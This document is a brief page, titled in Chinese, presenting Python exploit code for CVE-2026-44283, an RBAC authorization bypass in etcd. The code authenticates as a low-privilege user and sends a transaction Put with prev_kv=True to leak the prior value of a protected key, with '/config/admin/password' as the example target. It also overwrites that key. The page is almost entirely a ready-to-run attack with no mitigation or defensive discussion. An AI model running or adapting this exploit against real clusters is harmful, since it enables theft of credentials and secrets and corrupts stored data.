CVE-2026-44283 etcd RBAC授权绕过漏洞

import etcd3 # Exploit code for CVE-2026-44283 # Demonstrates bypassing RBAC using transaction with PrevKv def exploit_rbac_bypass(host, port, user, password, target_key): try: # Authenticate with low-privilege user client = etcd3.client(host=host, port=port, user=user, password=password) # Construct a transaction with Put operation that has prev_kv=True # This attempts to return the previous value of the key # Even if the user lacks explicit 'GET' permission on the key compare = [] success_actions = [ client.transactions.put(target_key, b'bypass_data', prev_kv=True) ] failure_actions = [] # Execute transaction txn_result, responses = client.transaction(compare, success_actions, failure_actions) if txn_result: for response in responses: # Check if prev_kv contained data (Bypass successful) if hasattr(response, 'prev_kv') and response.prev_kv: print(f"[+] Exploit Successful! Leaked Data: {response.prev_kv.value}") else: print("[-] No data leaked or key does not exist.") else: print("[-] Transaction failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Configuration ETCD_HOST = '127.0.0.1' ETCD_PORT = 2379 LOW_PRIV_USER = 'attacker' LOW_PRIV_PASS = 'password' TARGET_KEY = '/config/admin/password' exploit_rbac_bypass(ETCD_HOST, ETCD_PORT, LOW_PRIV_USER, LOW_PRIV_PASS, TARGET_KEY)